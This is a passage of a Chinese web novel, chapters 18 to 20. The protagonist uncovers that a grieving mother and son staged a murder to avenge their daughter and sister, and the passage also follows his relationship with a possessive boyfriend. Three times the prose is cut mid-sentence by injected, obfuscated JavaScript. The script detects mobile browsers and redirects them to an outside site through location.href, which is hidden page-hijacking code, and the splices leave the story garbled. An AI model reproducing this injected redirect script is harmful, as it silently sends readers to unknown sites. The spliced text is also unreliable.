邹母在警局大厅,直接扇了他一巴掌,冷声呵斥:“没良心的白眼狼!竟然跟着外人害你亲爸!” 大厅内鸦雀无声,待到邹母第二个巴掌即将扇下时被阻止。 “女士,您这样做是虐待儿童,我们不会让你把他带走的。”警察护住邹句,皱眉道,“作为他的长辈,你就是这样教他的吗?” “我是他奶奶!”邹母怒道,说完,就要去拉扯邹句的胳膊。 邹父也对警察道:“太晚了,我们要带他回去,他明天还有课要上。” 元舒在边上看得叹为观止。 儿子死了,孙子的课也不能请假。 “我不跟你走。”在众人的争执中,邹句突然开口。 “你不跟我走你能跟谁走?!”邹母骂道。 “我的父亲,虐待我。”邹句脸上没什么表情,稚嫩的脸庞沉默而哀伤。 在众人愕然的目光下,他撸起袖子,纤细的手臂上是戒尺留下的深红印记,以及掐痕。 “……” “我们没虐待你。”邹父觉出事情不对,开口道。 但他们知道这件事。 所有人都用复杂而厌恶的目光看着他们,邹母邹父顿觉如芒在背。 “我不跟他们走。”邹句重复这句话。 “不跟我们走,难道你要留在警局吗?”邹父阻止了邹母继续喊叫,问邹句,“回家,我们会好好处理一切。” 邹句不语,只是看向警局门口。 元舒感觉到这孩子的目光略过了他的脸和身体,然后落在了他的前方。 他顺着对方的目光看去,看见了一道纤瘦疲惫的身影。 那道身影在路灯下走过,慢慢来到他面前,来到警局门口,脸庞被白炽灯照得苍白平静。 是龚老师。 柯文昊与柯文茜的母亲,邹句的外婆——龚丽珍。 “我跟外婆走。”邹句终于说出了这句话。 在这一瞬间,元舒突然明白了一件事。 这一起案件里,无论淮水区的杀人分尸案有没有发生,柯文昊的计划都必定会实施,因为无论是柯文昊,还是龚丽珍,甚至是年近十二岁的邹句,他们都有一种极其坚固的决心——为柯文茜报仇。 她的女儿,他的姐姐,他的母亲……她,即使死亡,也无法带走他们的伤痛,为了祭奠她,他们不惜一切代价。 “还想继续查吗?” 身旁的男人冷不丁问。 元舒回神。 他看着不远处的邹父邹母开始控制不住地叫嚷吵闹,看着邹句握紧了龚丽珍的手,看见这昏黑的夜色,被乌云遮蔽的月亮。 暖黄色的路灯照亮一片地面,元舒低头,看见自己歪斜的影子和明飞尘靠在一起。 元舒说:“查。” 18. 第二个男朋友 明飞尘显然没预料到元舒的回答,眼中闪过惊愕,随后很快就化为了笑意。 “你说得对,是要查。”明飞尘搂住他的肩膀,“不过现在,咱们得回去睡觉了,太晚了,晚睡可是要长皱纹的。” 忙完这一遭,都快凌晨十二点了。 元舒揉了揉眉心,企图让紧绷的神经松懈。 “走吧。” 明飞尘把元舒送到了小区楼下,识趣地没提留宿,毕竟提了也会被拒绝。 元舒跟他告别,拖着一身疲惫回到家里,去浴室洗澡。 他脱掉身上的衣服,热水淋湿全身,雾气蒸腾,熏得他脑子也变得迷糊。 今天的事情发生得过于突然和奇幻,后续处理也是一团乱麻,柯文昊究竟是怎么跟杀人犯关联上的呢? 元舒脑子里隐隐约约察觉出些不对劲来,但这念头一闪而过,最后被困意淹没。 他洗完澡,裹上浴袍回到卧室,头发也没吹,就倒在床上。 在陷入睡梦的前一秒,元舒慢半拍地想起来,今天是周末……他好像忘记了什么事…… …… ……好热。 像是有人在注视着他,抚摸他的身体,柔软又粗糙的布料摩擦着他的皮肤,带来阵阵战栗和凉意。 元舒头痛欲裂,只觉浑身都在发烫,他下意识想要挣扎避开抓住他手腕、摁住他肩膀的人的手,可对方的力气太大,他根本无法动弹,只能任由对方为所欲为。 肩膀、手臂、腰腹…… 心中的不满堆积得越来越多,元舒蹙紧眉头,唇微张,发出不悦的呢喃。 对方的动作似乎顿了一下,随即很轻的叹息从他的口中传出。 元舒发现面前人的动作慢慢变轻,之后手臂又是火辣辣的酸痛……对方在揉捏他的手臂筋骨。 真是的,到底是谁啊? 元舒努力想要睁开眼睛,但眼皮跟眼睑像是粘了胶水一样无法分离,所以最后他还是放弃了,任由自己重新坠入周公的怀抱。 再度恢复意识,是被手背骤然出现的刺痛感所惊醒。 “邬总,元先生醒了。” 陌生的男声在身旁传来,元舒看见一张中年男人温和的脸庞,眼尾带褶皱。对方穿着白大褂,此时手里正拿着听诊器放在他的胸口,似乎在听他的心跳。 中年男人收回手,退后一步,映入元舒眼帘的换成了邬从律那张冷峻疏离的面庞,烟灰色的眼眸波澜不惊,视线平静地落在他身上。 元舒感觉盖在自己身上被子被往上拉了拉,盖得更严实了。 “你昨晚发烧了。”邬从律说。 元舒啊了声,声音干哑,一时不知道说什么了。 可能是因为昨天在泳池里面待久了,爬上岸又跑又闹的,最后还在警局待了很久……本来社畜就亚健康,加上原主是因为发烧引起心梗死的。 元舒竟然发烧这件事觉得合乎逻辑。 而在睡梦中,手背传来的刺痛感,也是因为医生给他打了吊针。 元舒抬起眼皮,看见了挂在自己床头边上的吊起来的针水,已经打了一半了,他还以为才刚开始。 “我昨天在你家楼下,等了你很久。” 脸颊突然传来冰凉的触感,是邬从律伸手抚摸他的脸颊。 元舒和他对视,后知后觉地想起来,自己曾经答应过邬从律,周末要和他约会。 不对。 “……我不是跟你说了,我有事吗?”元舒仅剩的理智让他抓住重点,“而且你为什么会有我家的钥匙?” 邬从律面不改色:“撬门。” “……” 为什么把违法的事情说得那么理直气壮?元舒难以置信。 邬从律抓的重点显然和他不同:“送你回家的人是谁?” 元舒不慌不忙,学着他的表情,说:“朋友。”然后又掐头去尾地把昨天发生的案件说了一遍。 看着邬从律蹙起的眉头和思索的神情,元舒心想,只要邬从律不去查,除非他抓到他和明飞尘亲嘴,否则对方很难发现真相。 赌的就是一个信任。 “所以说,你昨天又以身涉险,跑去调查案件了吗?”邬从律沉默半晌,最后抬眸,静静地问,“为什么一定要查呢?你明明有很多机会,可以远离这些困难。” 这番话是明晃晃的关心与不解,元舒却无法跟对方道明真相。 “因为这些事跟我有关系。”元舒状若无奈地笑了一下,“……如果可以,谁不想过正常的生活呢?可如果正常的生活是装聋作哑,还算是正常吗?” “要把一切都撕破,才算正常吗?” “不。” 元舒摇头,艰难地从床上坐起来,靠在床头的枕头上,“要祛除隐患,才能过正常的生活。” “如果有一把刀,一直悬挂在你的脑门上,你会照常过日子,忽略它,还是会想办法把那把刀给拿下来?” 邬从律轻声说:“达摩克利斯之剑吗?可是你又怎么知道,它不是俄狄浦斯呢?” 命运让你想要杀掉它,可它终究还会以另外一种方式回来,在命运的催促与安排下,杀死你。 “无论是达摩克利斯之剑,还是俄狄浦斯的预言,不都是一种未来吗?” 元舒摆弄枕头,让自己躺得更舒服,“人需要为了未来而拼搏,未来充满危险,令人恐惧,但未来同时也充满着希望。” 他看向邬从律,认真道:“我不想遇见达摩克利斯之剑,也不想成为俄狄浦斯的父亲,我只是想在能力范围内,祛除危险,让我能过上相对平稳的生活。” “但你遇见了。”邬从律看着他说。 元舒点头:“我遇见了,所以,我踏上了命运的洪流。” 或许是话题过于沉重,元舒故意冲他眨眨眼,笑道:“你觉得我能成功吗?” 因为还没退烧,元舒苍白的脸上,两颊和眼尾还泛着淡淡的潮红,嘴唇微干,憔悴的同时,颜色鲜艳得几乎夺目。 邬从律也笑了:“我觉得你可以。” 然后伸出手,轻柔地抚摸他的脸颊一下,指腹摩擦过对方的眼尾。 “那你觉得,我也可以成功吗?” 元舒一怔。 四目相对,邬从律低下头,与他额头碰着额头,距离近在咫尺,能在彼此眼瞳中看见对方。 “我的达摩克利斯之剑,我的俄狄浦斯王。” 男人的呼吸落在他的脸颊,磁性的嗓音传入耳中。 “告诉我,我能成功吗?” 元舒侧开头:“不能。” 邬从律:“为什么?” 元舒睨他一眼,泛红的眼尾像是含着淡淡的戏谑。 “因为……我是你的达摩克利斯之剑,你的俄狄浦斯王。” 作为命运的一份子,有输的人,也有赢的人,元舒希望自己一直做赢的那个人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239170|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>邬从律失笑。 他用鼻尖轻轻蹭了元舒的脸颊一下,随后坐回原来的位置,脊背挺直,仿佛又成为了那个冷酷无情的上位者。 只是他的眼里依旧盛放着元舒的身影。 “那就看,到底谁能赢吧。” - 打完吊针,元舒嫌身上粘着汗水不舒服,执意要洗澡。 这一次他擦了头发,用吹风机把头发吹得半干才躺回床上。 床单也换了,散发着薰衣草洗衣液的香味,与此同时,一股很淡的粥香也顺着门缝飘了进来。 元舒闻着味儿睡不着,干脆爬起来,走出房间。 客厅里,邬从律正坐在沙发上,打开电脑敲键盘,而厨房则站着个和蔼可亲的中年女人,对方正在搅拌着煮开的肉粥。她是邬从律从家里带过来的保姆阿姨。 邬从律自知厨艺不好,干活速度慢,因此在元舒发烧那几个小时,不仅把家庭医生喊了过来,还特地把家里照顾他的保姆也带到了元舒家。 元舒从来没觉得自己的租房那么小过。 “站在那儿做什么?过来坐。”邬从律看见他,招手,示意他在自己身旁坐下。 元舒走到他身边,目不斜视,争取不看电脑一眼。 邬从律捏住他的下巴:“看吧,看了你也看不懂。” “……” 元舒怒:“不要太看不起我。” 不服气地去看电脑屏幕,确实看不懂……难怪邬从律能当老板,而他只是打工仔。 他也没问这是什么东西,拍开邬从律的手,拿起自己原本放在客厅里的笔记本翻起来。 这是原主用来记录消费的记账本,一个月到了尾声,上个月购买的东西差不多用完,前两天,元舒刚重新清点,准备找个时间去超市购置新的日用品。 他翻页时,思索,要不要干脆今天出发,邬从律在这里,刚好能充当苦力。 “为什么字迹不一样?” 即将翻阅的页面被一根手指摁住,元舒回神,茫然地看向肇事者。 邬从律点了点他摁住的那页纸上写的字,手指一松,随意挑开了笔记本上半本的某一页页面。 元舒低头,发现这两页纸张页面的字迹截然不同,惊出一身冷汗。 但他的脸上还维持着原本的表情。 脑子里飞速想过许多念头,元舒最后拿起笔,假装轻松地在空白页上,写了一个字,与前面原主写的字迹相差无几。 “……因为,我以前在练字,现在不想练了。” 从记账本第一页开始,上面的字迹刻板而老实,像是字帖里面刻画出来的一般,越后面,才越凌乱。 而到元舒写的那一页记账本时,字迹变得清俊秀丽,流畅顺滑。 “之前有同事跟我说,我的字写得太凌乱,看不清,所以我想练习一下。”元舒胡掐,“只是越练越烦……不想练了。” 说完,他小心翼翼地打量邬从律的表情。 不知道邬从律信没信,总之,元舒看见他颔首,然后接过他手里的笔。 元舒诧异地看着邬从律在记账本上,他刚刚写下的那页纸的字旁边,也写下了一个类似的字。 三个不同的人写下的字,这一刻却是那么相似。 鬼使神差地,元舒突然想到一件事,一件,与昨天案件有关的事。 ——昨天晚上在芭蕾舞者摆件里发现的纸条,真的是凶手写的吗? 19. 第二个男朋友 元舒怎么也没想到,给予自己线索与启发的人,竟然是邬从律。 “为什么这样看着我?”邬从律放下笔,问。 “你为什么会拿笔在本子上……写字?”元舒的心提起来。 邬从律指尖点了点纸张页面,咚咚两声,“我想告诉你,不要半途而废,不过按照你练字的情况来说,或许你对书法没有天赋。” 元舒低头一看,三种相似的字迹,邬从律写得最好看,而剩下的往下递减。 “……”字丑也是一种绝望。 好在他不是最丑的。元舒在心里安慰自己。 “先生,元先生,粥好了。” 保姆阿姨打开厨房的玻璃门,端着热腾腾的砂锅粥从里面一边走出来,一边招呼。 元舒闻到了浓郁的粥香味,原本没什么感觉的胃突然变得饥饿。 他忍不住咽口水,把记账本放在桌面,朝着餐桌走去。 邬从律的视线在合拢的本子上一略而过,随即合上电脑,起身走向餐桌。 “我记得我家好像没有砂锅。”元舒洗好手,坐在餐桌上,眼巴巴地看着保姆阿姨盛粥。 “是啊,您家里是没有砂锅的。”阿姨把盛得满满当当的粥放在他面前,放上勺子,“这是我在小区外的超市买的,这砂锅做得不算漂亮,等下次,我把先生家里的砂锅拿过来,那是专门定制的砂锅,做的味道才正宗。” 阿姨又继续给邬从律盛粥,语气温和:“或者元先生您什么时候去家里瞧瞧,总是分居也不是事儿,在家里我也好方便照顾你们。” 阿姨过于敬业,居然在这时还为邬从律着想,提议让元舒搬到邬从律家里同居。 面对年长者,元舒不好意思直接拒绝,干脆假装没听见,打着哈哈笑了两声,吃粥,已读乱回:“下次、下次再说,这粥好好吃……” 阿姨看向自己的雇主,希望对方也能为自己的感情幸福出一份力,结果扭头一看,邬从律慢吞吞地用勺子刮着粥面,视线落在元舒身上挪不开。 哎呀!一瞧就是耙耳朵! “多吃点,多吃点吧……”阿姨回厨房给他们端炒好的小菜。 吃完粥,元舒通体舒畅,看一眼时间,早上八点零六分。 即将出门上班的时间点。 他扭头看邬从律,这人不知什么时候把换洗衣物拿到他家里头,正打算进入他房间的浴室里换衣洗漱。 元舒干脆在客厅里面坐着琢磨了会儿案件,又给田队发消息,待到八点四十分,邬从律还没出来,他就不禁感到疑惑。 这人是掉坑里了吗?还是在他房间里面做什么见不得的事情。 思来想去,元舒坐不住,屁股一抬,朝房间走去。 房门没锁,元舒一进去,就听到了卫生间里传来的水流声,以及细微的“滋滋”声,像是剃须刀启动时的响声。 元舒朝卫生间走去,门没掩,他站在门口,把里面的一切情景看得清清楚楚。 洗手台边,高大的男人侧对着他,上半身赤裸,皮肤呈现出冷白色,弯着腰,背肌随着手的动作而微微绷紧,宽肩往下是窄腰,八块腹肌顺着人鱼线没入裤头…… 元舒眼睛像是被火燎了般迅速躲开。 男人却因为他进门的动静而直起身,扭头看向他。 脸上还沾着水珠,剃须刀在下巴白沫处运作着,发出嗡嗡声。 “怎么了?”邬从律问。 元舒尴尬,啊了声,假装镇定:“快到上班时间点了,你再不出门就要迟到了……你怎么不穿衣服?” “你的卫生间太小了,穿上会弄湿。” 元舒闻言朝他瞥了一眼。 这话倒是没说错,主卧独卫确实比较小,而邬从律又太高了,站在里头,打眼一看,像是要把整个空间都占满。 “那你继续剃胡子吧,我先出去了……” 男人烟灰色的眼睛直勾勾地盯着他,元舒的第六感告诉他,他该撤退了。 但他刚转身,身后就传来邬从律的声音。 “元舒。” 元舒停下脚步,邬从律迈出步伐。 嗒嗒的脚步声轻而慢,只是几步,就来到了元舒背后。 剃须水的薄荷味清新又刺鼻,带着冷意,抚弄鼻腔。 邬从律为什么不说话?元舒抿唇,心跳声愈发响亮,惹得他心烦意乱。 早知道就不进来了,邬从律是老板,就算旷工也不会被扣工资。元舒懊恼地想着,随后干脆一鼓作气,转身说:“怎么了?你……” “你的剃须刀,我不会用。” 邬从律低头的动作与话语打断了元舒的询问。 像是猛兽伏首,温顺而安静。 从元舒的视角看,能看到被清水洗去的下巴残余着没刮干净的青色胡茬,在唇角位置,有一道细浅的红色伤口,正在往外溢出血珠。 “可以帮我吗?” 邬从律垂眸,“我上班要迟到了。” “……” 元舒愣了几秒,最后还是拿过剃须刀走进卫生间,帮邬从律刮胡须。 他不得不仰起头,举着手认真地帮对方刮胡子,以免遗漏,刮不干净。 短暂又漫长的五分钟。 元舒感觉自己要被邬从律的视线烧着了。 刮完之后,他立刻扔下剃须刀逃走,这一次,邬从律没有再在后面喊他。 九点十五分,邬从律出门,元舒顺带把保姆阿姨也劝回家。 屋子里重新变得只剩下他一个人,乍一看,还显得有些空荡荡。 元舒休息了一会儿,起身将客厅里、房间里、杂物间里所有的,有关于原主的东西拿出来,摆放在客厅的地毯上。 将有可能会暴露的东西放置在空箱子里,塞进房间柜子锁起来,再将剩余的东西摆回原位。 元舒在整理的途中,神奇地发现,原主确实在练习写字,因为他发现了两本楷书字帖,上面有练习时留下来的字迹,歪扭得像刚学习写字的小孩。 如果不是确保原主是个男同且没有小孩,他恐怕要怀疑对方在外养育了一个五六岁的小孩。 把一切处理妥当,元舒将早上吃剩的砂锅粥重新热了充当午饭,随后拨通了田队的电话。 - 柯文昊被保释,离开了警局。 由于邹句的缘故,邹家父母不得不暂时放过他,着手起诉他故意杀人未遂。 龚丽珍作出了反击,不仅请了律师,还反手起诉邹嘉泽家暴,以及一些更多的、见不得人的事,以至于邹嘉父母大怒之下,更多的是焦头烂额,没有更多的空闲时间来找人教训柯文昊。 柯文昊得以回家,甚至回店里面处理工作。 阜仙园的案件被传出去,柯文昊嫌疑人的身份自然不胫而走,幸福蛋糕店的生意萧条,只有几个在楼上学烘焙的学员因为关心龚丽珍,和一些说不清的怜悯,来蛋糕店内买些面包,顺带来看看柯文昊,问问消息。 “我妈没什么事,你们不用担心。”柯文昊笑着安慰他们,“店还会继续开下去,不开的话,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239171|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提前贴告示的。” 学员哎了声:“都是小事。” 柯文昊笑笑,转身拿着刚出的外卖订单去打包甜点。 学员们看着他的背影窃窃私语。 “其实也不能全怪柯店长……要不是那个男的太狠心,柯店长的姐姐也不会抑郁跳楼,只能说恶有恶报,就是可惜了柯店长把自己搭进去了。” “不是说不是柯店长杀的人吗?” “不是他杀的,他也有杀人动机啊!杀人未遂也是要坐牢的,更何况还死人了。” “柯店长真的和淮水区那个杀人分尸案凶手认识吗?” “不会吧?” “如果不认识,为什么那个凶手要帮柯店长杀人呢?” “凶手杀人哪里有道理,看心情吧。” “希望柯店长没事。” “……” 几人压低声音说话,可店面就那么大,柯文昊隐约还是能听见他们讨论的话题。 柯文昊面上没什么表情波动,今天这一幕他早有预料,甚至可以说,这是最好的一幕结局画面。 杀人未遂……他去坐几年牢,妈妈可以照顾小句长大,等小句差不多上高中,他也就出来了。 他会替姐姐照顾好小句和尚在襁褓的小姿,让他们健康地长大。 现在他要担忧的只有要怎么把两个孩子的抚养权要到手。 想到这里,柯文昊叹口气。 门口风铃叮当作响,有人推门而入,边走边喊:“x购62号好了没?” “好了。” 柯文昊应声,把手里的蛋糕盒丝带绑好,装进袋子里,提到柜台前。 穿着黄色马甲的外卖骑手正在那里等着,手里还卡着根细细长长的东西,柯文昊以为是烟,收回目光。 他把外卖袋递给骑手:“这是62号订单。” “哦哦好。” 骑手接过袋子,转身想走,结果走了两步,还没离开,又哎呀一声,一拍脑袋,说“刚刚还想着呢,结果又忘了”,然后重新倒回来。 他把手里夹着的那根“烟”放在柜台桌面,“这是一个人要我给你的。” 柯文昊怔愣,原来不是烟,而是一张纸条。 在店里的学员们见状,好奇凑去:“谁给你的啊?柯店长,纸条里写了什么?不会是告白信吧,快打开看看。” 柯文昊无奈地笑了一下,在他们的催促下打开纸条。 在视线触及到字迹的一瞬间,柯文昊脸上的笑僵住,瞳孔紧缩。 几乎是瞬间,他猛地拽住即将再度离开的外卖骑手衣服领子,硬生生隔着柜台把人拽到自己面前。 四目相对,在众人的惊诧的叫声和目光中,柯文昊目眦尽裂,高声质问:“这纸条是谁给你的?!” 外卖骑手被吓了一跳,结结巴巴:“一个、一个穿冲锋衣戴鸭舌帽的男人,在店门口拦下我,给我五十块,让我把纸条交给你……” 他话还没说完,柯文昊就松开手,快步跑到店外。 阳光灿烂,日头晒得人几近晕厥,空气中弥漫着干燥的气味。 柯文昊环顾四周,没有找到一个可疑的身影。 他停下脚步,看着面前空荡荡的街道,呼吸急促,咬紧牙关。他攥紧了被自己揉成一团的纸条,因为愤怒与恐惧,神情隐隐狰狞,眼中布满红血丝。 “……柯店长?你怎么了?” 身后传来或迟疑,或惊恐的询问,柯文昊却没有理会,而是深呼吸一口气,快步往家的方向跑去—— 20. 第二个男朋友 “谢谢你来看我。” 烹煮好的热茶放在桌面,巴掌大的白瓷小杯散发着悠然的清香,白雾往上漂浮,模糊了彼此的面容。 元舒抬眸看向对面坐着的,面容恬静的中年女人。 龚老师,龚丽珍今年五十二岁了,比起同龄人,她更显年轻。暖色调的衣服,长发盘起,用一根筷子固定,露出高洁的额头和面庞,即使有皱纹,也是岁月留下的 ,更轻柔的痕迹。 元舒的视线略过低头倒茶的龚丽珍,她的身后,贴着几张全家福,有龚丽珍与丈夫,还有一对儿女的,有龚丽珍单独和儿女的,也有龚丽珍与柯文茜姐弟,以及五六岁的邹句的。 他们笑容灿烂,紧紧依偎着彼此的身体,在每一年、每一个重要的时刻都留下了幸福的痕迹。 龚丽珍的人生可以称得上平淡而幸福。即使早年丧夫,一个人带大两个孩子,但因为一技之长而小有名声,不说大富大贵,钱却也够花,儿女听话懂事,后半生应当儿孙满堂,安康快乐……如果女儿没有所嫁非人。 或许是察觉到元舒一直看向她身后的照片墙,龚丽珍主动开口:“茜茜五岁就开始学芭蕾了。” 元舒回神,看见龚丽珍起身去把放置在桌面上的一张相片拿过来,她走动时,似乎是因为受伤,步伐有些许艰缓,即使极力掩饰,也还是能看出几分奇怪。 元舒看向她的腿,长裤,棉拖,看不出什么来。 “她在上幼儿园的时候,因为被老师选中上表演节目,表演跳芭蕾的小天鹅,然后就央着我和她爸爸想学芭蕾。” 龚丽珍走到桌前坐下,桌子遮掩了她的身形。 她陷入回忆,“茜茜是我和她爸爸的第一个孩子,我们本来也不打算要其他孩子,小昊是当年他爸爸意外去世后留下的遗腹子。 在小昊没出生之前,茜茜是我们唯一的孩子,我们对她很宠爱,有求必应……芭蕾,她一跳就是二十年,二十三岁的时候,她成为了国际舞团的一员,我们很为她骄傲,小昊当时小学毕业,逢人就说自己姐姐是舞团的芭蕾舞演员。” 可以想象,当年的柯文茜是多么地耀眼。 “直到一次表演,邹嘉泽看上了茜茜,开始了追求。”龚丽珍脸上的笑容淡去,化为冰冷,“三年的甜蜜,换来了十三年的痛苦。” 龚丽珍看向元舒,问:“你觉得值吗?” “……” 元舒清咳两声:“我不知道该怎么回答这个问题,对于结婚时的柯文茜来说,或许是值得的,但对于婚后的柯文茜来说,是不值得的,一个结论不能放在两个不同的时间场景里面来谈。” “如果你是茜茜,在那天,你会做出怎么样的选择?”龚丽珍说,“爱情与生命,你选择哪一个?” “我会选择比我自己还爱我自己的人。”元舒端起茶杯,轻轻吹了吹,抿口热茶,“如果他对不起我,他会自己去死。” “……” 龚丽珍惊愕:“这世界上有这种人吗?” “有吧。”元舒想了一下,“不过比较少,很多都是想跟我一起死的,所以我选择单身。” “你是单身?”龚丽珍用惊奇不明的目光看他。 元舒知道她是想到了明飞尘。 明飞尘当然是他的男朋友,之一。 脚踏n条船的最终奥义跟解释是——单身。 不然怎么踏那么多条船? 元舒平静地想,况且无论是邬从律,还是明飞尘,以及其他的几个“男朋友”,归根究底都是原主的男朋友,又不是他的。 他想要,他们就可以是他的男朋友,他不想要,他们当然就跟他没有关系。 要不是因为杀人案,元舒早把他们都踹了,一个对象就很烦了,多来几个简直是世界末日。 “单不单身,不都是由我说了算吗?”所以元舒这样回答龚丽珍的问题。 龚丽珍怔愣片刻,失笑:“要是茜茜有你这种心态就好了,她就是……” 她眼神黯淡:“太轴了,认死理……小句跟她很像。” 元舒不知道该怎么安慰,只好又喝了两口茶。 龚丽珍也没再说话,而是端起茶杯,也开始喝茶。 两人相对无言。 龚丽珍知道元舒来的目的不仅仅是为了看她,或许是为了帮警局寻找案件线索,或许是来看热闹……那又怎么样呢?她来者不拒,只礼貌相待。 元舒也在等待,等待着…… 砰—— 门突然被打开,急促的喘息声伴随着喊声传来。 “妈?!你没事吧?” 龚丽珍扭头往玄关看去,诧异:“小昊?你怎么回来了?我?我没事啊。” 柯文昊扶着门框,闻言愣住,但很快,他就关上门,朝客厅走去。 他来到元舒面前,垂眸低头:“元先生,你来我家做什么?” “来看望一下你们。”元舒面不改色。 “你什么时候来的?” “半小时前。” 差不多比他拿到外卖骑手递给他纸条的时间稍微早一点。 柯文昊眸色深深地看着元舒,一言不发。 龚丽珍见状,估摸着柯文昊在外面是发生了什么事,干脆开口赶客:“元先生,时间不早了,小句也快放学了,待会儿我们还得去接小句,不方便招待你,你先回家吧,下次见面再聊。” 元舒没回话,而是问柯文昊:“我可以和你一起去接邹句吗?” 柯文昊沉默,龚丽珍蹙眉:“不用麻烦你……” “可以。” 柯文昊答应了。 龚丽珍愕然,迟疑,“小昊?” 柯文昊对着龚丽珍摇头。 什么都没说,龚丽珍却像是懂得了什么,安静下来。 知子莫若母。 元舒看见龚丽珍的神情变得紧绷而警惕,眼中却像是盛放着淡淡的哀伤。他们猜出元舒来这里的目的是什么了。 “走吧。”柯文昊没再和龚丽珍说话,而是对元舒道。 元舒颔首:“走吧。” 邹句的学校离龚丽珍与柯文昊居住的小区并不算太远,开车半小时就到了。 他们到达学校门口时已经是下午四点,还有半小时才放学。 周围已经陆陆续续有家长在门口等了,但大多数都是老人或者保姆。 “小句从小到大,一直都是由管家和保姆送着上下学,偶尔我姐会来接他,带他到我们家里去玩。” 柯文昊说:“邹嘉泽不喜欢我们,觉得我们拉低了他的档次。” 说到这里时,柯文昊忍不住笑了。 元舒沉默以对。 柯文昊笑完,跟着安静了一会儿,突然喊:“元舒。” 元舒讶异,抬头看向柯文昊。 柯文昊一直都喊他元先生,没有喊过他全名。 “如果我也有钱就好了。” 傍晚四点多的阳光依旧灿烂到刺眼,柯文昊撑着伞站在元舒身旁,眼神温柔又平静,“这样我就会有很多办法,来解决难题。” 元舒抿唇:“可是有很多事情,是钱不能解决的。” “我知道。”柯文昊摸了一下自己的脸颊,哎了声,“也只是有些而已。” 他像是放下了坠在心头的重石,对元舒笑道:“太热了,我们去便利店买瓶饮料吧。” 元舒迟疑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239172|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但最后还是点头:“好。” 他们离开了学校门口,走向了旁边街道的便利店,在里面买了三瓶矿泉水,付完款,元舒拿起水扭头,却发现柯文昊居然不在他的身旁,消失了! 元舒赶忙往门口看,恰好看见对方离开的身影,顾不得太多,他一边摁着耳边戴着的蓝牙耳机,一边快步往外走。 结果一出门口,就被拽住了手臂拉向商铺与商铺之间的墙壁间隙形成的小巷口,与此同时,耳机也被抓下,狠狠摔在地上,一脚大力踩坏。 元舒挣脱抓着自己的手臂,震惊:“你做什么?” “元舒。”柯文昊握住他的肩膀,目光如炬,“你认识他吗?” 元舒心里咯噔一下:“谁?” “杀人凶手。”柯文昊道,“那张纸条,是你写的,还是谁?” 柯文昊口袋里面装着的,被揉成一团的,有着与杀人分尸案的凶手,有着相同字迹的纸条。 上面写着:借我的名头做事,可是需要付出代价的^v^ 如果不是因为这张纸条,柯文昊也不会回家,暴露自己。 元舒抬眸跟他对视:“那么我也要问你,生日宴那天晚上,摆件里面塞的那张纸条究竟是谁写的?” 这话一出,柯文昊猛然惊醒:“你诈我?” 元舒早就猜出来真相,知道那张纸条是柯文昊模仿凶手的字迹写出来的,为的就是在杀死邹嘉泽后,把罪名栽赃到淮水区的杀人犯身上,撇清自己的关联。 当初田队第一次找柯文昊审讯时,给了对方凶手留下的卡片……为了混淆字迹,柯文昊还特地打湿了芭蕾舞者摆件里面塞的纸条。 而在警局审讯时,柯文昊所说的令邹嘉泽“过敏导致窒息”的预谋,也不全然是假的,蛋糕里面确实加入了邹嘉泽的过敏原——栗子粉,但柯文昊他们并没有把这个当做真正的计划,而是备选。 邹嘉泽有可能会拒绝吃蛋糕,也有可能身上常备药物,以柯文昊等人强烈的仇恨而言,这种大几率的可能性是需要慎重考虑的。 元舒不知道他们原本的打算是什么,但是在淮水区杀人分尸案出现的那一天,柯文昊就改变了计划。 ——把一切栽赃到杀人犯身上,撇清自己的关联,争取利益最大化。 那天晚上和尤明达见面的人是柯文昊,泳池派对晚上拉电闸的人也是柯文昊,而乔装打扮,用现金去购买大码男装与杂物的人,也是柯文昊。 他在购置作案用的衣服用具时,戴手套以防指纹泄露,用跟别人交换的现金打的,前往阜仙园的蔷薇花路边,将东西放下,再步行至小区等待,等待夜晚降临,等待他的另一个同伙穿上衣服,前往别墅,继续等待。 他们从小路进入别墅后院,等待着蛋糕烛火亮起—— “假装杀人犯,杀死邹嘉泽的人是龚老师,对吗?”元舒说。 柯文昊苦笑:“你已经知道真相了,为什么还要问呢。” “你真的很聪明。”柯文昊松开他的肩膀,退后一步,看着他道,“可是你为什么要和我们作对呢?” “因为真相很重要。”元舒说。 “恶人也需要真相吗?”柯文昊眼眶发红,咬牙怒道,“你知道吗?我姐姐死了,他还要说,是因为姐姐觉得自己没照顾好孩子,才抑郁自杀的,可这一切明明都是他逼的!” “很多事,光论对错是没有用的。”元舒叹气,“你……你们还是自首吧。不然,你让邹句怎么办呢?” “还有一个办法。” 柯文昊打断他的话,对着他摇头:“元舒,你很聪明,但你只是一个人。” 